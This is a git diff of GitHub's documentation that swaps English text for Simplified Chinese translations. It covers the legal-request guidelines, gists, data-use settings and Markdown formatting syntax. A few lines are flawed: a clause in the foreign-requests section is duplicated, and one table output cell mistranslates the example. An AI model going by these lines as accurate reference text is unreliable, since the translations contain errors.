+  - 帐户创建以外或指定时间和日期的安全访问日志
 
 - <a name="only-with-a-search-warrant"></a>
-**Only with a search warrant** —
-We will not disclose the private contents of any user account unless compelled to do so under a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause.
-In addition to the non-public user account information and account access logs mentioned above, we will also provide private user account contents in response to a search warrant, which may include:
+**仅限于搜查令** — 我们不会披露任何用户帐户的私人内容，除非根据《联邦刑事诉讼规定》或同等国家搜查令规定程序签发的搜查令要求披露，搜查令上显示了可能的原因。 除了上述非公开用户帐户信息和帐户访问日志，我们还将根据搜查令提供私人用户帐户内容，可能包括：
 
-  - Contents of secret Gists
-  - Source code or other content in private repositories
-  - Contribution and collaboration records for private repositories
-  - Communications or documentation (such as Issues or Wikis) in private repositories
-  - Any security keys used for authentication or encryption
+  - 秘密 Gist 的内容
+  - 私有仓库中的源代码或其他内容
+  - 私有仓库的贡献和协作记录
+  - 私有仓库中的通信或文档（例如议题或维基）
+  - 任何用于身份验证或加密的安全密钥
 
 - <a name="in-exigent-circumstances"></a>
-**Under exigent circumstances** —
-If we receive a request for information under certain exigent circumstances (where we believe the disclosure is necessary to prevent an emergency involving danger of death or serious physical injury to a person), we may disclose limited information that we determine necessary to enable law enforcement to address the emergency. For any information beyond that, we would require a subpoena, search warrant, or court order, as described above. For example, we will not disclose contents of private repositories without a search warrant. Before disclosing information, we confirm that the request came from a law enforcement agency, an authority sent an official notice summarizing the emergency, and how the information requested will assist in addressing the emergency.
+**在紧急情况下** — 如果我们在某些紧急情况下收到要求提供信息的请求（如果我们认为有必要披露信息以防止涉及人员死亡或严重人身伤害危险的紧急情况），我们可能会披露我们认为对执法部门处理紧急情况必要的有限信息。 对于超出此范围的任何信息，如上所述，我们需要传票、搜查令或法院命令才会披露。 例如，没有搜查令时，我们不会披露私有仓库的内容。 在披露信息之前，我们会确认请求来自执法机构，当局发出了正式通知，概述了紧急情况以及所要求的信息将如何有助于处理紧急情况。
 
-## Cost reimbursement
+## 费用补偿
 
-Under state and federal law, GitHub can seek reimbursement for costs associated with compliance with a valid legal demand, such as a subpoena, court order or search warrant. We only charge to recover some costs, and these reimbursements cover only a portion of the costs we actually incur to comply with legal orders.
+根据州和联邦法律，GitHub 可以要求补偿与遵守有效法律要求（如传票、法院命令或搜查令）相关的费用。 我们只收取部分费用，这些补偿只包括我们为遵守法律命令而实际发生的一部分费用。
 
-While we do not charge in emergency situations or in other exigent circumstances, we seek reimbursement for all other legal requests in accordance with the following schedule, unless otherwise required by law:
+虽然我们在紧急情况下不收费，但除非法律另有要求，否则我们将根据以下安排要求补偿为满足所有其他法律要求产生的费用：
 
-- Initial search of up to 25 identifiers: Free
-- Production of subscriber information/data for up to 5 accounts: Free
-- Production of subscriber information/data for more than 5 accounts: $20 per account
-- Secondary searches: $10 per search
+- 最多 25 个标识符的初始搜索：免费
+- 最多 5 个帐户的订阅者信息/数据制作：免费
+- 为 5 个以上帐户制作订阅者信息/数据：每个帐户 20 美元
+- 二次搜索：每次搜索 10 美元
 
-## Data preservation
+## 数据保存
 
-We will take steps to preserve account records for up to 90 days upon formal request from U.S. law enforcement in connection with official criminal investigations, and pending the issuance of a court order or other process.
+在美国执法部门发出与官方刑事调查相关的正式要求后， 以及签发法院命令或其他程序之前，我们将采取步骤保存长达 90 天的帐户记录。
 
-## Submitting requests
+## 提交请求
 
-Please serve requests to:
+请将请求发送到：
 
 ```
 GitHub, Inc.
@@ -226,25 +173,23 @@ c/o Corporation Service Company
 Sacramento, CA 95833-3505
 ```
 
-Courtesy copies may be emailed to legal@support.github.com.
+抄送件可通过电子邮件发送给 legal@support.github.com。
 
-Please make your requests as specific and narrow as possible, including the following information:
+请求请尽可能具体，包含以下信息：
 
-- Full information about authority issuing the request for information
-- The name and badge/ID of the responsible agent
-- An official email address and contact phone number
-- The user, organization, repository name(s) of interest
-- The URLs of any pages, gists or files of interest
-- The description of the types of records you need
+- 关于发出信息请求的机构的完整信息
+- 负责代理的名称和证章/ID
+- 正式电子邮件地址和联系电话号码
+- 相关的用户、组织、仓库名称
+- 相关的任何页面、gist 或文件的 URL
+- 您需要的记录类型描述
 
-Please allow at least two weeks for us to be able to look into your request.
+请留出至少两周时间给我们审查您的请求。
 
-## Requests from foreign law enforcement
+## 外国执法部门的请求
 
-As a United States company based in California, GitHub is not required to provide data to foreign governments in response to legal process issued by foreign authorities.
-Foreign law enforcement officials wishing to request information from GitHub should contact the United States Department of Justice Criminal Division's Office of International Affairs.
-GitHub will promptly respond to requests that are issued via U.S. court by way of a mutual legal assistance treaty (“MLAT”) or letter rogatory.
+作为一家设在加利福尼亚的美国公司，GitHub 不必根据外国当局签发的法律程序向外国政府提供数据。 希望向 GitHub 索取信息的外国执法官员应与美国司法部刑事司国际事务办公室联系。 GitHub 将迅速答复美国法院通过司法互助条约（“MLAT）或委托调查书发出的请求。 法院通过司法互助条约（“MLAT）或委托调查书发出的请求。
 
-## Questions
+## 问题
 
-Do you have other questions, comments or suggestions? Please contact {% data variables.contact.contact_support %}.
+您是否有其他问题、评论或建议？ 请联系 {% data variables.contact.contact_support %}。
diff --git a/translations/zh-CN/content/github/site-policy/index.md b/translations/zh-CN/content/github/site-policy/index.md
index 1496ee8035..526d13a1a1 100644
--- a/translations/zh-CN/content/github/site-policy/index.md
+++ b/translations/zh-CN/content/github/site-policy/index.md
@@ -1,5 +1,5 @@
 ---
-title: Site policy
+title: 站点策略
 redirect_from:
   - /categories/61/articles
   - /categories/site-policy
diff --git a/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md b/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
index c682319d40..e2b617a11c 100644
--- a/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
+++ b/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
@@ -24,8 +24,9 @@ When you enable data use for your private repository, you'll be able to access t
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png)
+4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% endif %}
 
 ## Further reading
 
diff --git a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
index 21c3bd883f..54be9fcc66 100644
--- a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
+++ b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
@@ -1,6 +1,6 @@
 ---
-title: Forking and cloning gists
-intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.'
+title: 复刻和克隆 Gist
+intro: Gist 实际上是 Git 仓库，这意味着即使您不是原作者，也可以复刻或克隆任何 Gist。 还可以查看 Gist 的完整提交历史记录，包括差异。
 permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
 redirect_from:
   - /articles/forking-and-cloning-gists
@@ -11,24 +11,25 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## Forking gists
 
-Each gist indicates which forks have activity, making it easy to find interesting changes from others.
+## 复刻 Gist
 
-![Gist forks](/assets/images/help/gist/gist_forks.png)
+每个 Gist 都指示哪些复刻中有活动，使您更容易找到他人的有趣更改。
 
-## Cloning gists
+![Gist 复刻](/assets/images/help/gist/gist_forks.png)
 
-If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+## 克隆 Gist
 
-![Gist clone button](/assets/images/help/gist/gist_clone_btn.png)
+如果要对 Gist 进行本地更改然后将其推送到 web 上，您可以克隆 Gist 然后进行提交，与使用任何 Git 仓库的方法一样。 更多信息请参阅“[克隆仓库](/articles/cloning-a-repository)”。
 
-## Viewing gist commit history
+![Gist 克隆按钮](/assets/images/help/gist/gist_clone_btn.png)
+
+## 查看 Gist 提交历史记录
 
 To view a gist's full commit history, click the "Revisions" tab at the top of the gist.
 
-![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png)
+![Gist 版本选项卡](/assets/images/help/gist/gist_revisions_tab.png)
 
-You will see a full commit history for the gist with diffs.
+您将看到该 Gist 的完整提交历史记录及其差异。
 
-![Gist revisions page](/assets/images/help/gist/gist_history.png)
+![Gist 版本页面](/assets/images/help/gist/gist_history.png)
diff --git a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
index cbc1fe7c11..195f655ddf 100644
--- a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
+++ b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
@@ -1,5 +1,5 @@
 ---
-title: Editing and sharing content with gists
+title: 编辑内容以及与 gist 共享内容
 intro: ''
 redirect_from:
   - /categories/23/articles
@@ -13,6 +13,6 @@ versions:
 children:
   - /creating-gists
   - /forking-and-cloning-gists
-shortTitle: Share content with gists
+shortTitle: 与 gists 共享内容
 ---
 
diff --git a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
index c5815617a7..9d1d83cb56 100644
--- a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
+++ b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
@@ -22,7 +22,19 @@ shortTitle: 在 GitHub 上编写和格式化
 
 {% data variables.product.product_name %} 上的每个评论字段都包含文本格式工具栏，用于格式化文本，而无需了解 Markdown 语法。 除了 Markdown 格式（如粗体和斜体样式）和创建标题、链接及列表等之外，工具栏还包括 {% data variables.product.product_name %} 特定的功能，如 @提及、任务列表以及链接到议题和拉取请求。
 
-![Markdown 工具栏](/assets/images/help/writing/markdown-toolbar.gif)
+{% if fixed-width-font-gfm-fields %}
+
+## Enabling fixed-width fonts in the editor
+
+You can enable a fixed-width font in every comment field on {% data variables.product.product_name %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space which can make it easier to edit advanced Markdown structures such as tables and code snippets.
+
+![Screenshot showing the {% data variables.product.product_name %} comment field with fixed-width fonts enabled](/assets/images/help/writing/fixed-width-example.png)
+
+{% data reusables.user_settings.access_settings %}
+{% data reusables.user_settings.appearance-settings %}
+1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**. ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed width fonts enabled](/assets/images/help/writing/enable-fixed-width.png)
+
+{% endif %}
 
 ## 延伸阅读
 
diff --git a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
index 5753951e64..6297e453be 100644
--- a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
+++ b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
@@ -1,6 +1,6 @@
 ---
-title: Basic writing and formatting syntax
-intro: Create sophisticated formatting for your prose and code on GitHub with simple syntax.
+title: 基本撰写和格式语法
+intro: 使用简单的语法在 GitHub 上为您的散文和代码创建复杂的格式。
 redirect_from:
   - /articles/basic-writing-and-formatting-syntax
   - /github/writing-on-github/basic-writing-and-formatting-syntax
@@ -9,35 +9,36 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Basic formatting syntax
+shortTitle: 基本格式语法
 ---
-## Headings
 
-To create a heading, add one to six `#` symbols before your heading text. The number of `#` you use will determine the size of the heading.
+## 标题
+
+要创建标题，请在标题文本前添加一至六个 `#` 符号。 您使用的 `#` 数量将决定标题的大小。
 
 ```markdown
-# The largest heading
-## The second largest heading
-###### The smallest heading
+# 最大标题
+## 第二大标题
+###### 最小标题
 ```
 
-![Rendered H1, H2, and H6 headings](/assets/images/help/writing/headings-rendered.png)
+![渲染的 H1、H2 和 H6 标题](/assets/images/help/writing/headings-rendered.png)
 
-## Styling text
+## 样式文本
 
-You can indicate emphasis with bold, italic, or strikethrough text in comment fields and `.md` files.  
+您可以在评论字段和 `.md` 文件中以粗体、斜体或删除线的文字表示强调。
 
-| Style | Syntax | Keyboard shortcut | Example | Output |
-| --- | --- | --- | --- | --- |
-| Bold | `** **` or `__ __`| command/control + b | `**This is bold text**` | **This is bold text** |
-| Italic | `* *` or `_ _`     | command/control + i | `*This text is italicized*` | *This text is italicized* |
-| Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ |
-| Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** |
-| All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** |
+| 样式       | 语法                 | 键盘快捷键      | 示例                 | 输出               |
+| -------- | ------------------ | ---------- | ------------------ | ---------------- |
+| 粗体       | `** **` 或 `__ __`  | 命令/控制键 + b | `**这是粗体文本**`       | **这是粗体文本**       |
+| 斜体       | `* *` 或 `_ _`      | 命令/控制键 + i | `*这是斜体文本*`         | *这是斜体文本*         |
+| 删除线      | `~~ ~~`            |            | `~~这是错误文本~~`       | ~~这是错误文本~~       |
+| 粗体和嵌入的斜体 | `** **` 和 `_ _`    |            | `**此文本 _非常_ 重要**`  | **此文本_非常_重要**    |
+| 全部粗体和斜体  | `*** ***`          |            | `***所有这些文本都很重要***` | ***所有这些文本都是斜体*** |
 
-## Quoting text
+## 引用文本
 
-You can quote text with a `>`.
+您可以使用 `>` 来引用文本。
 
 ```markdown
 Text that is not a quote
@@ -45,28 +46,28 @@ Text that is not a quote
 > Text that is a quote
 ```
 
-![Rendered quoted text](/assets/images/help/writing/quoted-text-rendered.png)
+![渲染的引用文本](/assets/images/help/writing/quoted-text-rendered.png)
 
 {% tip %}
 
-**Tip:** When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing `r`. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts/)."
+**提示：**在查看转换时，您可以突出显示文本，然后输入代码 `r`，以自动引用评论中的文本。 您可以单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 和 **Quote reply（引用回复）**引用整个评论。 有关键盘快捷键的更多信息，请参阅“[键盘快捷键](/articles/keyboard-shortcuts/)”。
 
 {% endtip %}
 
-## Quoting code
+## 引用代码
 
-You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.{% ifversion fpt or ghae or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %}
+使用单反引号可标注句子中的代码或命令。 倒引号中的文本不会被格式化。{% ifversion fpt or ghae or ghes > 3.1 or ghec %} 您也可以按 `command` 或 `Ctrl` + `e` 键盘快捷键将代码块的倒引号插入到 Markdown 一行中。{% endif %}
 
 ```markdown
-Use `git status` to list all new or modified files that haven't yet been committed.
+使用 `git status` 列出尚未提交的所有新文件或已修改文件。
 ```
 
-![Rendered inline code block](/assets/images/help/writing/inline-code-rendered.png)
+![渲染的内联代码块](/assets/images/help/writing/inline-code-rendered.png)
 
-To format code or text into its own distinct block, use triple backticks.
+要将代码或文本格式化为各自的不同块，请使用三反引号。
 
 <pre>
-Some basic Git commands are:
+一些基本的 Git 命令为：
 ```
 git status
 git add
@@ -74,65 +75,67 @@ git commit
 ```
 </pre>
 
-![Rendered code block](/assets/images/help/writing/code-block-rendered.png)
+![渲染的代码块](/assets/images/help/writing/code-block-rendered.png)
 
-For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
+更多信息请参阅“[创建和突出显示代码块](/articles/creating-and-highlighting-code-blocks)”。
 
-## Links
+{% data reusables.user_settings.enabling-fixed-width-fonts %}
 
-You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %}
+## 链接
 
-`This site was built using [GitHub Pages](https://pages.github.com/).`
+通过将链接文本包含在方括号 `[ ]` 内，然后将 URL 包含在括号 `( )` 内，可创建内联链接。 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %}
 
-![Rendered link](/assets/images/help/writing/link-rendered.png)
+`本站点是使用 [GitHub Pages](https://pages.github.com/) 构建的。`
+
+![渲染的链接](/assets/images/help/writing/link-rendered.png)
 
 {% tip %}
 
-**Tip:** {% data variables.product.product_name %} automatically creates links when valid URLs are written in a comment. For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+**提示：**当评论中写入了有效 URL 时，{% data variables.product.product_name %} 会自动创建链接。 更多信息请参阅“[自动链接的引用和 URL](/articles/autolinked-references-and-urls)”。
 
 {% endtip %}
 
-## Section links
+## 章节链接
 
 {% data reusables.repositories.section-links %}
 
-## Relative links
+## 相对链接
 
 {% data reusables.repositories.relative-links %}
 
-## Images
+## 图像
 
-You can display an image by adding `!` and wrapping the alt text in`[ ]`. Then wrap the link for the image in parentheses `()`.
+您可以通过添加 `!` 并在`[ ]`中包装 alt 文本来显示图像。 然后将图像链接包装在括号 `()` 中。
 
 `![This is an image](https://myoctocat.com/assets/images/base-octocat.svg)`
 
-![Rendered Image](/assets/images/help/writing/image-rendered.png)
+![渲染的图像](/assets/images/help/writing/image-rendered.png)
 
-{% data variables.product.product_name %} supports embedding images into your issues, pull requests{% ifversion fpt or ghec %}, discussions{% endif %}, comments  and `.md` files. You can display an image from your repository, add a link to an online image, or upload an image. For more information, see "[Uploading assets](#uploading-assets)."
+{% data variables.product.product_name %} 支持将图像嵌入到您的议题、拉取请求{% ifversion fpt or ghec %}、讨论{% endif %}、评论和 `.md` 文件中。 您可以从仓库显示图像、添加在线图像链接或上传图像。 更多信息请参阅“[上传资产](#uploading-assets)”。
 
 {% tip %}
 
-**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links. 
+**提示：**想要显示仓库中的图像时，应该使用相对链接而不是绝对链接。
 
 {% endtip %}
 
-Here are some examples for using relative links to display an image.
+下面是一些使用相对链接显示图像的示例。
 
-| Context | Relative Link |
-| ------ | -------- |
-| In a `.md` file on the same branch | `/assets/images/electrocat.png` |
-| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` |
-| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png` |
-| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` |
-| In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` |
+| 上下文                | 相对链接                                                                   |
+| ------------------ | ---------------------------------------------------------------------- |
+| 在同一个分支上的 `.md` 文件中 | `/assets/images/electrocat.png`                                        |
+| 在另一个分支的 `.md` 文件中  | `/../main/assets/images/electrocat.png`                                |
+| 在仓库的议题、拉取请求和评论中    | `../blob/main/assets/images/electrocat.png`                            |
+| 在另一个仓库的 `.md` 文件中  | `/../../../../github/docs/blob/main/assets/images/electrocat.png`      |
+| 在另一个仓库的议题、拉取请求和评论中 | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` |
 
 {% note %}
 
-**Note**: The last two relative links in the table above will work for images in a private repository only if the viewer has at least read access to the private repository which contains these images.
+**注意**：上表中的最后两个相对链接只有在查看者至少能够读取包含这些图像的私有仓库时，才可用于私有仓库中的图像。
 
 {% endnote %}
 
-For more information, see "[Relative Links](#relative-links)."
+更多信息请参阅“[相对链接](#relative-links)”。
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5559 %}
 ### Specifying the theme an image is shown to
@@ -141,15 +144,15 @@ You can specify the theme an image is displayed to by appending `#gh-dark-mode-o
 
 We distinguish between light and dark color modes, so there are two options available. You can use these options to display images optimized for dark or light backgrounds. This is particularly helpful for transparent PNG images.
 
-| Context | URL |
-|--------|--------|
-| Dark Theme | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` |
-| Light Theme | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)` |
+| 上下文         | URL                                                                      |
+| ----------- | ------------------------------------------------------------------------ |
+| Dark Theme  | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` |
+| Light Theme | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)`  |
 {% endif %}
 
-## Lists
+## 列表
 
-You can make an unordered list by preceding one or more lines of text with `-` or `*`.
+通过在一行或多行文本前面添加 `-` 或 `*` 可创建无序列表。
 
 ```markdown
 - George Washington
@@ -157,9 +160,9 @@ You can make an unordered list by preceding one or more lines of text with `-` o
 - Thomas Jefferson
 ```
 
-![Rendered unordered list](/assets/images/help/writing/unordered-list-rendered.png)
+![渲染的无序列表](/assets/images/help/writing/unordered-list-rendered.png)
 
-To order your list, precede each line with a number.
+要对列表排序，请在每行前面添加一个编号。
 
 ```markdown
 1. James Madison
@@ -167,118 +170,118 @@ To order your list, precede each line with a number.
 3. John Quincy Adams
 ```
 
-![Rendered ordered list](/assets/images/help/writing/ordered-list-rendered.png)
+![渲染的有序列表](/assets/images/help/writing/ordered-list-rendered.png)
 
-### Nested Lists
+### 嵌套列表
 
-You can create a nested list by indenting one or more list items below another item.
+通过在一个列表项下面缩进一个或多个其他列表项，可创建嵌套列表。
 
-To create a nested list using the web editor on {% data variables.product.product_name %} or a text editor that uses a monospaced font, like [Atom](https://atom.io/), you can align your list visually. Type space characters in front of your nested list item, until the list marker character (`-` or `*`) lies directly below the first character of the text in the item above it.
+要通过 {% data variables.product.product_name %} 上的 web 编辑器或使用等宽字体的文本编辑器（例如 [Atom](https://atom.io/)）创建嵌套列表，您可以直观地对齐列表。 在嵌套列表项的前面键入空格字符，直至列表标记字符（`-` 或 `*`）位于其上方条目中第一个文本字符的正下方。
 
 ```markdown
-1. First list item
-   - First nested list item
-     - Second nested list item
+1. 第一个列表项
+   -  第一个嵌套列表项
+     - 第二个嵌套列表项
 ```
 
-![Nested list with alignment highlighted](/assets/images/help/writing/nested-list-alignment.png)
+![突出显示对齐的嵌套列表](/assets/images/help/writing/nested-list-alignment.png)
 
-![List with two levels of nested items](/assets/images/help/writing/nested-list-example-1.png)
+![含两级嵌套项的列表](/assets/images/help/writing/nested-list-example-1.png)
 
-To create a nested list in the comment editor on {% data variables.product.product_name %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item.
+要在 {% data variables.product.product_name %} 上的评论编辑器中创建嵌套列表（不使用等宽字体），您可以查看嵌套列表正上方的列表项，并计算该条目内容前面的字符数量。 然后在嵌套列表项的前面键入该数量的空格字符。
 
-In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`.
+在此例中，您可以通过缩进嵌套列表项至少五个空格，在列表项 `100. 第一个列表项`的下面添加一个嵌套列表项，因为在`第一个列表项`的前面有五个字符 (`100.`) 。
 
 ```markdown
-100. First list item
-     - First nested list item
+100. 第一个列表项
+     - 第一个嵌套列表项
 ```
 
-![List with a nested list item](/assets/images/help/writing/nested-list-example-3.png)   
+![含一个嵌套列表项的列表](/assets/images/help/writing/nested-list-example-3.png)
 
-You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces.
+您可以使用相同的方法创建多层级嵌套列表。 例如，由于在第一个嵌套列表项中，嵌套列表项内容`第一个嵌套列表项`之前有七个字符 (`␣␣␣␣␣-␣`)，因此需要将第二个嵌套列表项缩进七个空格。
 
 ```markdown
-100. First list item
-     - First nested list item
-       - Second nested list item
+100. 第一个列表项
+     - 第一个嵌套列表项
+       - 第二个嵌套列表项
 ```
 
-![List with two levels of nested items](/assets/images/help/writing/nested-list-example-2.png)    
+![含两级嵌套项的列表](/assets/images/help/writing/nested-list-example-2.png)
 
-For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
+更多示例请参阅 [GitHub Flavored Markdown 规范](https://github.github.com/gfm/#example-265)。
 
-## Task lists
+## 任务列表
 
 {% data reusables.repositories.task-list-markdown %}
 
-If a task list item description begins with a parenthesis, you'll need to escape it with `\`:
+如果任务列表项说明以括号开头，则需要使用 `\` 进行规避：
 
-`- [ ] \(Optional) Open a followup issue`
+`- [ ] \(Optional) 打开后续议题`
 
-For more information, see "[About task lists](/articles/about-task-lists)."
+更多信息请参阅“[关于任务列表](/articles/about-task-lists)”。
 
-## Mentioning people and teams
+## 提及人员和团队
 
-You can mention a person or [team](/articles/setting-up-teams/) on {% data variables.product.product_name %} by typing `@` plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}."
+您可以在 {% data variables.product.product_name %} 上提及人员或[团队](/articles/setting-up-teams/)，方法是键入 `@` 加上其用户名或团队名称。 这将触发通知并提请他们注意对话。 如果您在编辑的评论中提及某人的用户名或团队名称，该用户也会收到通知。 有关通知的更多信息，请参阅{% ifversion fpt or ghes or ghae or ghec %}"[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}“[关于通知](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}”。
 
-`@github/support What do you think about these updates?`
+`@github/support 您如何看待这些更新？`
 
-![Rendered @mention](/assets/images/help/writing/mention-rendered.png)
+![渲染的 @提及](/assets/images/help/writing/mention-rendered.png)
 
-When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see "[About teams](/articles/about-teams)."
+当您提及父团队时，其子团队的成员也会收到通知，这简化了与多个人员团队的沟通。 更多信息请参阅“[关于团队](/articles/about-teams)”。
 
-Typing an `@` symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation.
+键入 `@` 符号将显示项目中的人员或团队列表。 列表会在您键入时进行过滤，因此一旦找到所需人员或团队的名称，您可以使用箭头键选择它，然后按 Tab 或 Enter 键以填写名称。 提及团队时，请输入 @组织/团队名称，该团队的所有成员将收到关注对话的提醒。
 
-The autocomplete results are restricted to repository collaborators and any other participants on the thread.
+自动填写结果仅限于仓库协作者和该线程上的任何其他参与者。
 
-## Referencing issues and pull requests
+## 引用议题和拉取请求
 
-You can bring up a list of suggested issues and pull requests within the repository by typing `#`. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result.
+通过键入 `#` 可显示仓库中建议的议题和拉取请求列表。 键入议题或拉取请求的编号或标题以过滤列表，然后按 Tab 或 Enter 键以填写选中的结果。
 
-For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+更多信息请参阅“[自动链接的引用和 URL](/articles/autolinked-references-and-urls)”。
 
-## Referencing external resources
+## 引用外部资源
 
 {% data reusables.repositories.autolink-references %}
 
 {% ifversion ghes < 3.4 %}
-## Content attachments
+## 内容附件
 
-Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+有些 {% data variables.product.prodname_github_apps %} 在 {% data variables.product.product_name %} 中提供链接到其注册域名的 URL 信息。 {% data variables.product.product_name %} 可渲染应用程序在正文或者议题或拉取请求的评论中的 URL 下提供的信息。
 
-![Content attachment](/assets/images/github-apps/content_reference_attachment.png)
+![内容附件](/assets/images/github-apps/content_reference_attachment.png)
 
-To see content attachments, you must have a {% data variables.product.prodname_github_app %} that uses the Content Attachments API installed on the repository.{% ifversion fpt or ghec %} For more information, see "[Installing an app in your personal account](/articles/installing-an-app-in-your-personal-account)" and "[Installing an app in your organization](/articles/installing-an-app-in-your-organization)."{% endif %}
